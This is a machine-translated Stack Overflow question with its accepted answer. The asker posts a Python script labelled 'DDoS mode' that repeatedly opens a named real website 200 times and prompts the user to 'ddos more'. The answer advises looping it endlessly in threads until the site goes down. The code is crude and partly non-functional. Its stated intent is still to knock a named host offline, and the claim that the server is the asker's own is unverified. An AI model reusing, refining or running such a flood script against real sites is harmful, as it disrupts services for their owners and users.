首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >是否可以同时打开网页200次?

问是否可以同时打开网页200次?
EN

Stack Overflow用户
提问于 2013-12-29 16:06:20
回答 1查看 250关注 0票数 1

我正在尝试用python攻击我的with服务器。

是否有可能在同一时间内多次打开网页?我该怎么做呢?也许用线程?有什么想法吗?

代码语言:javascript
复制
import time, socket, os, sys, string, webbrowser, thread

def restart_program():
    python = sys.executable
    os.execl(python, python, * sys.argv)
curdir = os.getcwd()

print ("DDoS mode loaded")
host="hajnalgroup.com"
port= 80
message="+---------------------------+"
conn= 200
ip = socket.gethostbyname(host)
print ("[" + ip + "]")
print ( "[Attacking " + host + "]" )
def dos():
    #pid = os.fork()
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        webbrowser.open('http://hajnalgroup.com')
        #thread.start_new_thread(webbrowser.open("hajnalgroup.com"))
    except socket.error:
        print("connection failed")
    print i, ( "attack just started")
    ddos.close()
for i in range(0, conn):
    dos()
print("The connections you requested had finished")
if __name__ == "__main__":
    answer = raw_input("Do you want to ddos more?")
    if answer.strip() in "y Y yes Yes YES".split():
        restart_program()
    else:
        print "bye"
EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2013-12-29 16:16:19

我会做以下几件事:

  1. 在函数中添加一个while true:
  2. 将函数定义复制到python解释器
  3. import thread
  4. thread.start_new_thread(ddos, ())
  5. 看看你的网页是否还活着。如果是,重复第4点,直到不是。

这样,您就可以得到服务器功能的粗略图像。

票数 2
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/20827105

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档